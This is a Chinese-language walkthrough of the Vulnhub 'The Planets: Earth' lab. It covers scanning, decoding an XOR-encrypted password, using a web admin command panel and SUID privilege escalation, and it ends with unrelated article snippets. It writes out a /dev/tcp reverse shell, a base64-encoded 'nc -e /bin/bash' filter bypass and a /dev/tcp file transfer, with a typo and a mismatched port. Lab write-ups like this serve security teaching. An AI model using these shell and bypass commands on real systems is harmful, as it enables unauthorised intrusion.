The Planets: Earth -- 练习

环境搭建

该靶场环境来自Vulnhub -------- Difficulty: Easy

靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式),所以需要调整KALI和靶场的网络模式,为了方便测试本地采用NAT模式。

注意,如果用的是比较新版本的VMware,可能存在无法调整虚拟机网卡的情况。

则需要调整虚拟机的兼容性,以便于能正常运行。

信息收集

前期进行一些简单的信息收集工作,收集一些IP信息、端口信息和域名信息等

网络扫描

扫描网卡

因为是在同一个网段,可以直接扫描网卡从而获取靶机IP地址,命令为arp-scan -I eth0 -l。很显然这里的192.168.47.152就是靶机的地址信息,如果不敢确定,可以将靶机开关几次。看哪个IP会消失。

使用Nmap扫描网段信息

可以通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap 192.168.47.0/24,获得靶机地址:192.168.47.152

使用netdiscover扫描网段信息

netdiscover -i eth0 -r 192.168.47.0/24

使用masscan 扫描的网段端口号

可以扫描一些常见端口号信息masscan 192.168.47.0/24 -p 80,22

初步渗透

通过使用Nmap进行端口扫描,使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口。

从中我们可以发现开放的端口有:22、80、443端口,并且443端口需要进行dns解析。如果不配置DNS解析直接访问,会出现400错误。

 Hosts文件位置:Windows:C:\Windows\System32\drivers\etcLinux:/etc/hosts​内容:192.168.47.152 earth.local 192.168.47.152 terratest.earth.local

直接访问earth.localterratest.earth.local两个域名进行查看。发现两个页面内容相同如下:

有一段不知名的数字,此时看不出任何作用。随便输入一些内容进行测试如下。像是某种加密使用数字进行测试,经过判断初步猜测是异或加密。但是不知道密钥无法解密。

暂时不知道这些字符串如何解密,先放一边,扫描一下目录:dirsearch -u http://earth.local/

 37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40​3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45​2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a

获取了一些文件信息,尝试访问http://earth.local/admin/,看似是一个管理员命令工具登录页面,可以尝试弱口令登录,发现不成功。此时可以尝试分析其他文件。

在扫描过程中还发现了一个robots.txt文件,查看内容发现列出了很多内容,发现有个testingnotes文件,但是不知道是什么文件格式上边列了很多,挨个测试一下。最终发现是个txt文件。

并且testingnotes文件内容如下。可以得知采用的是XOR加密算法,并且有一个testdata.txt文件用于测试加密,用户名是terra

所以先访问testdata.txthttps://terratest.earth.local/testdata.txt查看其中的内容。

XOR解密

初步猜测这段文字可能是加密密钥,从testdata.txt可以看出,密钥是通过XOR加密发送。猜测第一个页面留下的很有可能是加密后的terra的密码。对每一条信息进行解密,只有最后一条内容看起来像是密码。只不过按照earthclimatechangebad4humans进行重复。

获取第一个Flag

回到登录页面,尝试登录。发现登录成功,尝试执行简单的命令,发现能成功执行。查看题目要求发现要找两个flag:a user and root flag。所以现在去尝试查找flag,通过find命令查找,find / -name "*flag*"

尝试读取这个文件内容cat /var/earth_web/user_flag.txt,成功获取第一个flag。

提权

由于第二个是ROOT的flag,并且通过find命令并没有找到。所以当前用户没有权限所以需要提权。尝试反弹shell获取靶机的控制权。但是发现禁止远程连接。bash -i &> /deb/tcp/192.168.47.131/8866 0>&1。可能是使用了IP地址,尝试通过base64编码绕过echo bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguNDcuMTMxIDY2NjYK | base64 -d | bash

反弹成功之后,通过Python创建一个伪终端。

 python3 -c "import pty; pty.spawn('/bin/bash')"

查找具有root权限的文件find / -perm -u=s -type f 2>/dev/null这个命令是从根目录查找有suid权限的文件(只查文件),然后我们查看/usr/bin/reset_root,发现Earth可能是密码。

查看文件内容,但是很乱很多乱码看不清楚。所以直接检查字符串内容如下:strings /usr/bin/reset_root,已经告知当重置触发器存在,重置根密码为:Earth

所以此时的目标就是查看哪些触发器可以触发修改密码的操作。直接将文件程序整到kali本地分析一下。

 本地kali上进行监听:nc -nlvp 777 > reset_root靶机上运行:cat /usr/bin/reset_root > /dev/tcp/192.168.47.131/7777

到Kali上调试使用strace进行调试:strace ./reset_root,显示缺少三个文件。所以去靶机上看一下这几个文件,发现靶机上也没有这几个文件。

所以尝试创建这几个文件后在尝试执行下reset_root文件,成功修改su密码为:Earth。

获取第二个Flag

之后通过su命令尝试登录,发现登录成功,成功获取第二个Flag。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/886308.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C/C++语言基础--initializer_list表达式、tuple元组、pair对组简介

本专栏目的 更新C/C的基础语法,包括C的一些新特性 前言 initializer_list表达式、tuple元组、pair对组再C日常还是比较常用的,尤其是对组在刷算法还是挺好用的,这里做一个简介;这三个语法结合C17的结构化绑定会更好用&#xff…

『VUE』27. 透传属性与inheritAttrs(详细图文注释)

目录 什么是透传属性(Forwarding Attributes)使用条件唯一根节点禁用透传属性继承总结 欢迎关注 『VUE』 专栏,持续更新中 欢迎关注 『VUE』 专栏,持续更新中 什么是透传属性(Forwarding Attributes) 在 V…

EasyExcel 使用多线程按顺序导出数据

通过多线程读取数据,使用EasyExcel按顺序导出数据 导出时如果要保证顺序需要使用单线程,但是查询时可以用多线程,因为多线程查询后返回数据不是按照顺序排列的,所以我的思路是再循环时给每个线程打标识,通过标识来排序…

演员王子辰—专注革命题材 《前行者》后再出发

2021年10月22日在北京卫视播出的由张鲁一、聂远等人主演的电视剧《前行者》,讲述了在二十世纪三十年代初,因叛徒出卖,我上海地下党组织遭到严重破坏,革命事业陷入一片白色恐怖之中。我党情报员马天目刚从法国归来,临危…

【电脑】解决DiskGenius调整分区大小时报错“文件使用的簇被标记为空闲或与其它文件有交叉”

【电脑】解决DiskGenius调整分区大小时报错“文件使用的簇被标记为空闲或与其它文件有交叉” 零、报错 在使用DiskGenius对磁盘分区进行调整时,DiskGenius检查出磁盘报错,报错信息:文件使用的簇被标记为空闲或与其它文件有交叉,…

深入解析 OpenHarmony 构建系统-3-GN 构建系统管理脚本

引言 OpenHarmony作为一款面向全场景的分布式操作系统,其构建系统在开发过程中扮演着至关重要的角色。本文将详细介绍OpenHarmony构建系统下的一个gn封装脚本,该脚本用于管理和执行 gn 命令,更高效地管理构建过程。 位置:/build/hb/services/gn.py 脚本概述 该脚本定义了…

远程控制步骤

当远在千里之外的朋友想求助你帮他找到他电脑上的文件、或者是给他安装软件时。但是你给他说了他又找不到,那么这时你就可以通过控制对方的电脑去做一系列的操作。 如何远程控制对方的电脑非常关键。 方法一(Windows自带远程桌面功能)&#…

蓝桥杯——数组

1、移动数组元素 package day3;import java.util.Arrays;public class Demo1 {public static void main(String[] args) {int[] arr {1,2,3,4,5,6};int k 2;int[] arr_new f(arr,k);for (int i : arr_new) {System.out.print(i",");}//或System.out.println();St…

【大数据技术基础 | 实验十】Hive实验:部署Hive

文章目录 一、实验目的二、实验要求三、实验原理四、实验环境五、实验内容和步骤(一)安装部署(二)配置HDFS(三)启动Hive 六、实验结果(一)启动结果(二)Hive基…

【PSQLException: An I/O error occurred while sending to the backend.】

PSQLException: An I/O error occurred while sending to the backend. java项目定时任务执行耗时很长的sql语句(很多条sql,从很多表中,很多数据中查询,处理)总之,耗时很长(PG数据库)。报错I/O error,Caused by : java.net.SocketTimeoutException: Read time out场景…

MQTT从入门到精通之MQTT Dashboard

MQTT Dashboard 1 Dashboard简介 EMQX 提供了一个内置的管理控制台,即 EMQX Dashboard。方便用户通过 Web 页面就能轻松管理和监控 EMQX 集群,并配置和使用所需的各项功能。 访问地址:http://ip:18083 首次登录访问账号:admin…

[Codesys]常用功能块应用分享-BMOV功能块功能介绍及其使用实例说明

官方说明 功能说明 参数 类型 功能 pbyDataSrcPOINTER TO BYTE指向源数组指针uiSizeUINT要移动数据的BYTE数pbyDataDesPOINTER TO BYTE指向目标数组指针 实例应用-ST IF SYSTEM_CLOCK.AlwaysTrue THENCASE iAutoState OF0: //读写完成信号在下次读写信号的上升沿或复位信号…

推荐一款流程图和图表绘制工具:WizFlow Flowcharter Pro

WizFlow Flowcharter是一款易于使用、功能丰富的Windows流程图和图表绘制工具。它允许用户使用超过一百种预定义的形状和箭头定义形状“样式”。您可以将自己的样式保存在图表模板中,以建立自己的绘图方法。WizFlow附带了完整的流程图模板,以帮助您入门。…

Java集合 List——针对实习面试

目录 Java集合 ListJava List的三种主要实现是什么?它们各自的特点是什么?Java List和Array(数组)的区别?Java List和Set有什么区别?ArrayList和Vector有什么区别?什么是LinkedList?…

数据结构 -- 二叉搜索树

二叉搜索树 概念 二叉搜索树又称为二叉排序树,它或为空树,或为具有以下性质的二叉树: 若它的左子树不为空,则左子树上所有节点的值都小于等于根节点的值。若它的右子树不为空,则右子树上所有节点的值都大于等于根节…

Springboot配置全局异常通用返回

Springboot配置全局异常通用返回 前言 前端对接了部分接口后,开始抱怨,“后端接口出参的格式总是千奇百怪,没有一个固定的格式,错误信息提示也不明朗,业务的状态码总是东一个西一个,前端这都不好做统一的…

以太坊系地址衍生算法分层确定性生成逻辑

文章目录 一、前言1.1 衍生算法生成的私钥1.2 随机生成的私钥二、私钥生成及私钥提取2.1 golang如何使用衍生算法生成私钥,然后为用户生成地址2.1.1 实现步骤2.1.2 golang代码示例2.1.3 代码说明2.2 地址交易时,如何提取地址私钥2.2.1 私钥恢复说明2.2.2 golang代码通过助记词…

前端怎么获取视口大小

方式一:使用 window.innerWidth 和 window.innerHeight 这两个属性分别返回浏览器窗口的视口宽度和高度(单位为像素),包括滚动条占用的空间(如果有的话)。 例如: const viewportWidth window.…

D3 可以加载的数据格式有哪些?(12种)

D3.js 支持多种数据格式,这些格式涵盖了从简单的表格数据到复杂的地理数据。以下是一些常见的数据格式及其加载方法: D3.js 数据加载方法 d3.blob(input, init) 用途: 加载二进制数据,返回一个 Blob 对象。参数: input: 数据源 URL。init: …

stm32在linux环境下的开发与调试

环境安装 注:文末提供一键脚本 下载安装stm32cubeclt 下载地址为:https://www.st.com/en/development-tools/stm32cubeclt.html 选择 linux版本下载安装 安装好后默认在家目录st下 > $ ls ~/st/stm32cubeclt_1.16.0 …